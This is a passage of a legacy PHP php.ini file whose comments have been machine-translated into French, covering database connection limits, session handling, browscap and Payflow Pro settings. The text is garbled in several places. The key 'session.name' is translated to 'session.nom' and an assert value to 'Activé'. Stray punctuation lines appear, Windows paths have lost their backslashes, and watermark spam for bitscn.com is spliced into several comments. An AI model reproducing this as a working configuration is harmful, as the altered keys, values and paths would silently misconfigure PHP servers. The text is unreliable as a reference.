; 'echo cfg_get_var("mysql.default_password")' pour afficher ce mot de passe !
; Et bien sûr, tout utilisateur disposant de droits de lecture sur le fichier pourra également voir ce mot de passe
[mSQL]
.
msql.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
msql.max_persistent = -1; Nombre maximum de connexions persistantes -1 signifie illimité.
msql.max_links = -1 ; Nombre maximum de connexions (persistantes et non persistantes) -1 signifie illimité
[PostgresSQL]
pgsql.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
pgsql.max_persistent = -1; Nombre maximum de connexions persistantes -1 signifie illimité.
pgsql.max_links = -1 ; Nombre maximum de connexions (persistantes et non persistantes -1 signifie illimité
[Sybase]
).
sybase.allow_persistent = On; Autoriser ou désactiver les connexions persistantes
sybase.max_persistent = -1; Nombre maximum de connexions persistantes -1 signifie illimité.
sybase.max_links = -1 ; Nombre maximum de connexions (persistantes et non persistantes) -1 signifie illimité.
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 ; Gravité minimale des erreurs affichées
sybase.min_message_severity = 10 ; Gravité minimale des messages affichés
sybase.compatability_mode = Off ; Mode de compatibilité avec les anciennes versions de PHP 3.0 Si activé, PHP fonctionnera automatiquement.
; Attribuez-leur le type Sybase en fonction du résultat,
; Au lieu de les traiter tous comme des chaînes.
; Ce mode de compatibilité ne restera pas éternellement,
; Par conséquent, apportez les modifications nécessaires à votre code,
; et fermez l'élément
[Sybase-CT]
sybct.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
sybct.max_persistent = -1; Nombre maximum de connexions persistantes -1 signifie illimité.
sybct.max_links = -1 ; Nombre maximum de connexions (persistantes et non persistantes) -1 signifie illimité.
sybct.min_server_severity = 10 ; Gravité minimale des erreurs affichées
sybct.min_client_severity = 10 ; Gravité minimale des messages affichés
[bcmath]
bcmath.scale = 0 ; nombre de chiffres décimaux pour toutes les fonctions bcmath
[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[Informix]
ifx.default_host = ; L'hôte utilisé par ifx_connect() par défaut (invalide en mode sans échec)
ifx.default_user = ; Le nom d'utilisateur par défaut utilisé par ifx_connect() (invalide en mode sans échec)
ifx.default_password = ; le mot de passe par défaut utilisé par ifx_connect() (invalide en mode sans échec)
ifx.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
ifx.max_persistent = -1 ; Nombre maximum de connexions persistantes -1 signifie illimité.
ifx.max_links = -1 ; Nombre maximum de connexions (persistantes et non persistantes) -1 signifie illimité.
ifx.textasvarchar = 0 ; S'il est activé, le symbole d'état de sélection renvoie le contenu d'un champ 'text blob' au lieu de son identifiant
ifx.byteasvarchar = 0 ; S'il est activé, le symbole d'état de sélection renvoie le contenu d'un champ 'byte blob' au lieu de son identifiant
ifx.charasvarchar = 0 ; Suivre les espaces supprimés d'une chaîne de caractères de longueur fixe.
; Peut être valable pour les utilisateurs d'Informix SE.
ifx.blobinfile = 0 ; Si cette option est activée, le contenu des blobs de texte et d'octets est exporté vers un fichier.
; au lieu de sauvegarder en mémoire.
ifx.nullformat = 0 ; NULL est renvoyé sous forme de champ nul sauf si, ici, il est défini sur 1.
; Dans ce cas (1), NULL est renvoyé sous forme de chaîne NULL
[Session]
.
session.save_handler = files; Méthode de contrôle pour sauvegarder/récupérer des données
session.save_path = C:wintemp; Paramètres transmis au contrôleur lorsque save_handler est défini sur un fichier,
; C'est le chemin où les fichiers de données seront enregistrés.
session.use_cookies = 1 ; Utiliser ou non des cookies
session.nom = PHPSESSID
; Le nom de la session à utiliser dans le cookie
session.auto_start = 0 ; Initialiser la session au démarrage de la requête
session.cookie_lifetime = 0 ; est la durée de stockage du cookie en secondes,
; ou 0, jusqu'au redémarrage du navigateur
session.cookie_path = / ; Chemin valide du cookie
session.cookie_domain = ; Domaine valide du cookie
session.serialize_handler = php ; Contrôleur utilisé pour connecter les données
; php est le contrôleur standard de PHP.
session.gc_probability = 1 ; processus de 'garbage collection' par pourcentage
; Possibilité de démarrer à chaque initialisation de la session. Gestionnaire de réseau bitscn_com.
session.gc_maxlifetime = 1440 ; Après le nombre de secondes indiqué par ce nombre, les données enregistrées seront prises en compte
; 'Fragment (garbage)' et nettoyé par le processus gc.
session.referer_check = ; Vérifiez les référents HTTP pour invalider les identifiants supplémentaires inclus dans les URL
session.entropy_length = 0 ; Combien d'octets lire dans le fichier
session.entropy_file = ; Spécifiez ici pour créer l'identifiant de session
; session.entropy_length = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache ; défini sur {nocache, private, public} pour déterminer le HTTP
; Problème de mise en cache
session.cache_expire = 180 ; Le document expire après n minutes
session.use_trans_sid = 1 ; Utiliser la prise en charge transitoire du SID, si elle est activée au moment de la compilation
; --enable-trans-side
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;extension=php_mssql.dll
mssql.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
mssql.max_persistent = -1 ; Nombre maximum de connexions persistantes -1 signifie illimité.
mssql.max_links = -1; Le nombre maximum de connexions (persistantes et non persistantes -1 représente une gestion de réseau illimitée u.bitsCN.com).
mssql.min_error_severity = 10 ; Gravité minimale des erreurs affichées
mssql.min_message_severity = 10 ; Gravité minimale des messages affichés
mssql.compatability_mode = Off ; Mode compatible avec les anciennes versions de PHP 3.0
[Assertion]
; ? ? ? ?
;assert.active = Activé ; assert(expr); actif par défaut
;assert.warning = On ; émet un avertissement PHP pour chaque assertion échouée.
;assert.bail = Off ; ne renfloue pas par défaut.
;assert.callback = 0 ; fonction utilisateur à appeler si une assertion échoue.
(
) actuel défini sur true si vous voulez error_reporting(0) autour de eval().
ii.allow_persistent = On ; Autoriser ou désactiver les connexions persistantes
ii.max_persistent = -1 ; Le nombre maximum de connexions persistantes -1 signifie illimité.
ii.max_links = -1 ; Nombre maximum de connexions (persistantes et non persistantes) -1 signifie illimité.
ii.default_database = ; base de données par défaut (format : [node_id::]dbname[/srv_class]
ii.default_user = ;Utilisateur par défaut
ii.default_password = ; Mot de passe par défaut Gestion du réseau télécharger dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; serveur Signio par défaut
pfpro.defaultport = 443 ; port par défaut pour la connexion
pfpro.defaulttimeout = 30 ; Délai d'expiration par défaut en secondes
; pfpro.proxyaddress = ; Adresse IP du proxy par défaut (si nécessaire)
; pfpro.proxyport = ; Port proxy par défaut
; pfpro.proxylogon = ; Connexion proxy par défaut (nom d'utilisateur de connexion)
; pfpro.proxypassword = ; Mot de passe proxy par défaut
[Sockets]
sockets.use_system_read = On; Utiliser la fonction read() du système au lieu du package php_read()
; Variables locales : (variables locales)
; largeur de tabulation : 4
; Fin: